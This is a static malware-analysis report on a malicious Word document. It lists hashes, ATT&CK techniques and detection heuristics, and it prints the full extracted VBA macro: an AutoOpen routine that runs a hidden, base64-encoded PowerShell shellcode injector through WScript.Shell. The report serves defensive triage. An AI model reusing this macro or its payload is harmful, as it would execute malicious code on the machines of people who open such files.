Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f0b7e8eb4186f4f3…

MALICIOUS

Office (OOXML)

25.3 KB Created: 2018-07-02 13:44:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-05-16
MD5: c4cea2c345ddf73e96d9f9076c4ebc79 SHA-1: 10fe0ca7647e499953a29ef14e69ef843f46e901 SHA-256: f0b7e8eb4186f4f35da6afa50b509264ea66ef99ebab79543acca82f9202bde6
372 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File: User Execution T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro uses WScript.Shell to execute a PowerShell command. This command appears to download and execute a second-stage payload, as indicated by the concatenation of strings that likely form a PowerShell script involving calls to kernel32.dll and msvcrt.dll. The document body's claim of being legitimate and the instruction to enable macros serve as a lure.

Heuristics 10

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim WshShell As Object
Set WshShell = CreateObject("Wscript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    a = "powershell /w 1 /C" & Chr(34) & "sv ubP -;sv sue ec;sv qB ((gv ubP).value.toString()+(gv sue).value.toString());powershell (gv qB).value.toString() ('JABiAFMAIAA9ACAAJwAkAGEAdQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAG"
b = "wAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBu"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim WshShell As Object
Set WshShell = CreateObject("Wscript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7982 bytes
SHA-256: 09e6d7e88323eba87b04462dee6ff9ef510911b9d086cb2e5744adcbc008f798
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 28 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

' This is a legitimate macro. Go away.

Dim WshShell As Object
Set WshShell = CreateObject("Wscript.Shell")

a = "powershell /w 1 /C" & Chr(34) & "sv ubP -;sv sue ec;sv qB ((gv ubP).value.toString()+(gv sue).value.toString());powershell (gv qB).value.toString() ('JABiAFMAIAA9ACAAJwAkAGEAdQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAG"
b = "wAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBu"
c = "AFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbg"
d = "B0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQ"
E = "AdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBz"
f = "AGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHoARAAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGEAdQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAI"
g = "AAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJABmAFMAIAA9ACAAMAB4ADkAMAAsADAAeAA5ADAALAAwAHgAOQAwACwAMAB4ADkAMAAsADAAeAA5ADAALAAwAHgAOQAwACwAMAB4AD"
h = "kAMAAsADAAeAA5ADAALAAwAHgAOQAwACwAMAB4ADkAMAAsADAAeAA5ADAALAAwAHgAOQAwACwAMAB4ADkAMAAsADAAeAA5ADAALAAwAHgAOQAwACwAMAB4ADkAMAAsADAAeAA5ADAALAAwAHgAQgA4ACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADIARAA"
i = "sADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADgALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAAyAEUALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANwA0ACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgAMgBGACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADcANAAsADAA"
j = "eABDADYALAAwAHgAMAA1ACwAMAB4ADMAMAAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA3ADAALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAAzADEALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANwAzACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgAMwAyACwAMAB4ADAAMQAsADAAeAAwA"
k = "DAALAAwAHgAMAAwACwAMAB4ADMAQQAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADMAMwAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAyAEYALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAAzADQALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMgBGACwAMAB4AEMANgAsADAAeAAwADUAL"
l = "AAwAHgAMwA1ACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYANwAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADMANgAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2AEYALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAAzADcALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAw"
m = "AHgANgBGACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgAMwA4ACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIARQAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADMAOQAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADcALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAAzAEEALAAwAHg"
n = "AMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgBDACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgAMwBCACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIARgAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADMAQwAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADYALAAwAHgAQw"
o = "A2ACwAMAB4ADAANQAsADAAeAAzAEQALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgBGACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgAMwBFACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADcAMgAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADMARgAsADAAeAAwADEALAAwAHgAMAAwA"
p = "CwAMAB4ADAAMAAsADAAeAA2AEQALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAA0ADAALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANwAzACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgANAAxACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIARgAsADAAeABCADgALAAwAHgAMABBACwA"
q = "MAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADgAMwAsADAAeABGADAALAAwAHgAMQBDACwAMAB4AEMANgAsADAAeAA4ADAALAAwAHgAMgBEACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADcAOAAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADQANAAsADAAeAAwADEALAAwAHgAMAAwACwAMAB"
r = "4ADAAMAAsADAAeAA1ADMALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAA0ADUALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANABFACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgANAA4ACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADUAMwAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4A"
s = "DQAOQAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADkALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAA0AEEALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMwA1ACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgANABCACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4AD"
t = "QANwAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADQAQwAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA3ADYALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAA0AEQALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANAAzACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgANABFACwAMAB4ADA"
u = "AMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADQAOAAsADAAeAAzADEALAAwAHgAQwAwACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgANAAyACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADUAQQAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADQANgAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAA"
v = "MAAsADAAeAA3ADcALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAA0ADcALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANQAxACwAMAB4AEMANgAsADAAeAAwADUALAAwAHgANABGACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADUAOAAsADAAeABDADYALAAwAHgAMAA1ACwAMAB4ADUAM"
w = "AAsADAAeAAwADEALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAzADQALAAwAHgAQgAwACwAMAB4ADgAOAAsADAAeAAyAEMALAAwAHgANAA3ACwAMAB4AEEAMgAsADAAeAA1ADEALAAwAHgAMAAxACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAQwA2ACwAMAB4ADAANQAsADAAeAA1ADIALAAwAHgAMAAxACwAMAB4ADAAM"
x = "AAsADAAeAAwADAALAAwAHgAMwAzACwAMAB4AEMAMwAKADsAJABSAEkAIAA9ACAAMAB4ADEAMAAwADUAOwBpAGYAIAAoACQAZgBTAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAA1ACkAewAkAFIASQAgAD0AIAAkAGYAUwAuAEwAZQBuAGcAdABoAH0AOwAkAE4AcgA9ACQAegBEADoAOgBWAGkAcgB0AHUAY"
y = "QBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAANQAsACQAUgBJACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAZgBrAD0AMAA7ACQAZgBrACAALQBsAGUAIAAoACQAZgBTAC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGYAawArACsAKQAgAHsAJAB6AEQAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJ"
Z = "ABOAHIALgBUAG8ASQBuAHQAMwAyACgAKQArACQAZgBrACkALAAgACQAZgBTAFsAJABmAGsAXQAsACAAMQApAH0AOwAkAHoARAA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQATgByACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAANgAwAH0A"
aa = "OwAnADsAJABtAEgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYgBTACkAKQA7ACQ"
ab = "ARwBGACAAPQAgACIALQBlAGMAIAAiADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAGIAegAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAF"
ac = "wAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJABiAHoAIAAkAEcARgAgACQAbQBIACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAEcARgAgACQAbQBIACIAOwB9AA==')" & Chr(34)

totes_legit_prog = a & b & c & d & E & f & g & h & i & j & k & l & m & n & o & p & q & r & s & t & u & v & w & x & y & Z & aa & ab & ac
WshShell.Run totes_legit_prog, 1, False
MsgBox "Thank you. Totes legit program has executed.", vbOKOnly, "World Domination Succeeded!"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 42496 bytes
SHA-256: 146cef65641bf4b17a4ddcd1a087ea5f6bd46880c68b4f51e988ef3e1b4d5f51
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
Carved artifact contains 28 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.